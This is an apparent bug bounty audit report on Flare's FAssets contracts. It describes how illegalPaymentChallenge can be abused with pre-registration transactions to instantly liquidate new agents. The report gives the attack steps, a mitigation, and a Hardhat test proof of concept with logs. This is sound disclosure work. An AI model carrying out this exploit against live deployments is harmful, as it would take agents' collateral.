#46541 [SC-High] Historical Payment Transaction Exploitation Leading to Instant Agent Liquidation
Submitted on Jun 1st 2025 at 12:48:34 UTC by @Bluedragon for Audit Comp | Flare | FAssets
Report ID: #46541
Report Type: Smart Contract
Report severity: High
Target: https://github.com/flare-foundation/fassets/blob/main/contracts/assetManager/library/Challenges.sol
Impacts:
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Summary:
The illegalPaymentChallenge()
function in the FAssets system can be exploited against newly created agents by challenging them for payment transactions that occurred before they registered as agents. Due to the PaymentConfirmations.VERIFICATION_CLEANUP_DAYS
(14-day) verification window, any balance-decreasing transaction from an address within the past 14 days can be proven via Flare Data Connector, allowing malicious challengers to cause instant full liquidation of legitimate new agents.
Vulnerability Details:
The vulnerability exists in the challenge system where it accepts proofs of balance-decreasing transactions without verifying that the transaction occurred after the agent's registration timestamp or not.
When an agent creates a vault, the system doesn't protect against challenges for transactions that predate the agent's participation in the FAssets system.
The challenge mechanism in ChallengesFacet.sol
only verifies that the transaction is not too old (within 14 days) but doesn't check if it occurred after agent registration.
Scenario (step by step):
Agent Registration:
Legitimate user creates agent vault using the monitored address
Agent deposits collateral and becomes available
Target Identification:
Malicious Challengers monitors XRPL for new agents underlying addresses with recent payment transactions (within 14 days)
Identifies an agents address that made payments without payment references before joining FAssets
Immediate Challenge:
Attacker calls
ChallengesFacet::illegalPaymentChallenge()
with balance decreasing transaction proof of the pre-registration transactionSystem accepts the challenge since the transaction is within the 14-day window
Instant Liquidation:
Agent is immediately put into full liquidation status
Challenger receives reward from agent's collateral
Impact:
Instant Agent Liquidation: New agents can be immediately put into full liquidation status
Financial Loss: Agents lose their deposited collateral through forced liquidation
Barrier to Entry: Creates a disincentive for new agents to join the system
System Manipulation: Malicious actors can target specific addresses they know have recent transaction history
Recommended Mitigation:
Add a Registration Timestamp Check
Include a underlyingTimeStampAtCreation
field in the agent state to store the timestamp when the agent was created. Then, modify the illegalPaymentChallenge()
function to check that the transaction timestamp is greater than or equal to this registration timestamp.
// In illegalPaymentChallenge, add validation:
require(_payment.responseBody.blockTimestamp >= agent.underlyingTimeStampAtCreation, "transaction predates agent registration");
This fix ensures that agents can only be challenged for transactions that occurred after they joined the FAssets system, preventing exploitation of pre-registration transaction history.
Proof of Concept
Proof of Concept:
Add the following test to the
Minitng.ts
intest/unit/fasset/library
directoryRun the test using
yarn testHH
it.only("Legitimate new agent gets full liquidated instantly by illegal payment challenge", async () => {
const challenger = agentOwner2;
const paymentAmount = toWei(10e6);
const paymentReference = ZERO_BYTES32; // no payment reference
const maxFee = chain.requiredFee;
// agent make a transaction before entering the FAsset system as agent without payment reference
chain.mint(underlyingAgent1, paymentAmount);
console.log("==== Agent Makes Transaction Before Entering the FAsset System ====");
const txHash = await wallet.addTransaction(underlyingAgent1, minterAddress1, paymentAmount, paymentReference, {maxFee: maxFee});
console.log("TxHash:", txHash);
// After 10 days the agent enters the system
chain.skipTime(toNumber(time.duration.days(10)));
// Agent creates an agent vault
console.log("\n==== After 10 days Agent Creates Agent Vault ====");
const agent1 = await createAgent(agentOwner1, underlyingAgent1);
const agentInfo_before = await assetManager.getAgentInfo(agent1.address);
console.log("Agent status before challenge:", agentInfo_before.status.toString(), "(0 means NORMAL)");
// challenger challenges the payment once the agent is created
console.log("\n==== Challenger Challenges the Old Initial Payment ====");
const proof = await attestationProvider.proveBalanceDecreasingTransaction(txHash, underlyingAgent1);
console.log("Balance decreasing proof is created & payment reference is", proof.data.responseBody.standardPaymentReference);
await assetManager.illegalPaymentChallenge(proof, agent1.address, {from: challenger})
const agentInfo_after = await assetManager.getAgentInfo(agent1.address);
console.log("Agent status after challenge:", agentInfo_after.status.toString(), "(3 means FULL_LIQUIDATION)");
console.log("!!Agent is now instantly liquidated just after creating the agent vault!!");
const status = Number(agentInfo_after.status) as AgentStatus;
assert.equal(status, AgentStatus.FULL_LIQUIDATION);
});
Logs
Contract: Minting.sol; test/unit/fasset/library/Minting.ts; Minting basic tests
==== Agent Makes Transaction Before Entering the FAsset System ====
TxHash: 0xeceab817f1c3ccdb46180af83a24c248a992962bc8b11622e5963364c73d1ffa
==== After 10 days Agent Creates Agent Vault ====
Agent status before challenge: 0 (0 means NORMAL)
==== Challenger Challenges the Payment ====
Balance decreasing proof is created & payment reference is 0x0000000000000000000000000000000000000000000000000000000000000000
Agent status after challenge: 3 (3 means FULL_LIQUIDATION)
!!Agent is now instantly liquidated just after creating the agent vault!!
✔ Legitimate new agent gets full liquidated instantly by illegal payment challenge (481ms)
Was this helpful?